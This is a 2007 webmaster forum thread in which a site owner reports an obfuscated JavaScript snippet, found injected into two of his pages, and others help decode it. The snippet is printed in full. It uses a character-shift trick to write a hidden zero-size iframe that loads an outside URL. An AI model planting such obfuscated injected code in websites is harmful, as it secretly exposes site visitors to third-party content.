Welcome to WebmasterWorld Guest from 18.232.53.231

Forum Moderators: open

Message Too Old, No Replies

Weird javascript code. Didnt put it into my document

     
2:36 pm on Jul 29, 2007 (gmt 0)

Junior Member

10+ Year Member

joined:Mar 13, 2006
posts:41
votes: 0


Hey hey all, Kind of obscure title i know. But just going through a website i design i found a sinnep of javascript that i didnt put into my document and i have no idea what it does.

I dont know if anyone here will be able to help but i thought id try. This is the code.


<SCRIPT Language="JavaScript">
var source = '>khtcog"ute?)jvvr<11kpkhqto0kphq1uvcv1kpfgz0rjr)"ykfvj?)2)"jgkijv?)2)@';
var step = -2;
var result = '';
for(var i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write(result);
</SCRIPT>

it appears at the bottom of 2 pages and i didnt put it there.

Any help?

11:00 pm on July 29, 2007 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:Apr 15, 2004
posts:2047
votes: 0


Amend the code to this, and put it into a blank html file:

<SCRIPT Language="JavaScript">
var source = '>khtcog"ute?)jvvr<11kpkhqto0kphq1uvcv1kpfgz0rjr)"ykfvj?)2)"jgkijv?)2)@';
var step = -2;
var result = '';
for(var i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write("<xmp>"+result+"</xmp>");
</SCRIPT>

5:20 pm on July 31, 2007 (gmt 0)

Junior Member

10+ Year Member

joined:Mar 13, 2006
posts:41
votes: 0


Comes up with a URL looks like a spam i didnt put it there. Does that mean my server has been hacked?
5:23 pm on July 31, 2007 (gmt 0)

Junior Member

10+ Year Member

joined:Mar 13, 2006
posts:41
votes: 0


*EDIT*Comes up with a URL looks like its for a stats thing but its ben suspended... possibly my server been hacked
9:17 am on Aug 1, 2007 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:Apr 15, 2004
posts:2047
votes: 0


Perhaps. It may be that you have chosen some kind of site statistics add-on.
I don't see why they would want to obscure the code in such a way though.

It seems that the site itself is now down.

 

Join The Conversation

Moderators and Top Contributors

Hot Threads This Week

Featured Threads

Free SEO Tools

Hire Expert Members